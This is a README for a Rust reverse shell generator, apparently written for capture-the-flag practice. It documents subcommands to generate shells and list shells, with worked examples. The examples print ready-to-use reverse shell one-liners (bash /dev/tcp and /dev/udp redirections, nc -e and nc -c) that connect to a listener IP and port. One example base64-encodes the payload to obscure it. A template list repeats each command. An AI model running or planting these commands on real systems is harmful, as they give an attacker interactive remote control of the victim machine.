RuSt Reverse Shell

What is this?

A reverse shell generator written in rust.

Why?

I enjoy playing CTFs. There are reverse shell generators available on the web, but i wanted a single binary program that I could throw into containers and VMs easily, or just netcat across the wire to a target box.

Usage

There are 3 subcommands. Generate, which generates a reverse shell, list-shells which lists the names of the reverse shells that were compiled in, and list-shells-verbose which lists shells, their components, and their capabilities.

Examples

Generate a TCP Bash reverse shell that connects to port 4444 on the IP 10.10.10.37

rsrs generate -i 10.10.10.37 -p 4444 -r bash_tcp
bash -i >& /dev/tcp/10.10.10.37/4444 0>&1

Generate a netcat shell, that uses zsh, and connects to port 4444 on the IP 10.10.10.37

rsrs generate -i 10.10.10.37 -p 4444 -r "nc -e" --shell "/bin/zsh"
nc -e /bin/zsh 10.10.10.37 4444

Generate a netcat shell, that uses zsh, connects to port 4444 on the IP address 10.10.10.37 and output the string as base64

rsrs generate -i 10.10.10.37 -p 4444 -r "nc -e" --shell "/bin/zsh" -e base64
bmMgLWUgL2Jpbi96c2ggMTAuMTAuMTAuMzcgNDQ0NA==

List all shells that run on Linux.

rsrs list-shells linux
nc -c
nc -e
bash_tcp
bash_udp

List all shells that run on linux, verbose.

rsrs list-shells-verbose linux
Name:		bash_udp
OS:		["linux", "mac"]
Subcomponents:	["IP", "PORT"]
Command:	bash -i >& /dev/udp/{SUBIP}/{SUBPORT} 0>&1
Name:		nc -c
OS:		["linux", "mac"]
Subcomponents:	["IP", "PORT", "SHELL"]
Command:	nc -c {SUBSHELL} {SUBIP} {SUBPORT}
Name:		nc -e
OS:		["linux", "mac"]
Subcomponents:	["IP", "PORT", "SHELL"]
Command:	nc -e {SUBSHELL} {SUBIP} {SUBPORT}
Name:		bash_tcp
OS:		["linux", "mac"]
Subcomponents:	["IP", "PORT"]
Command:	bash -i >& /dev/tcp/{SUBIP}/{SUBPORT} 0>&1

Thanks

Thanks to RevShells and PayloadsAllTheThings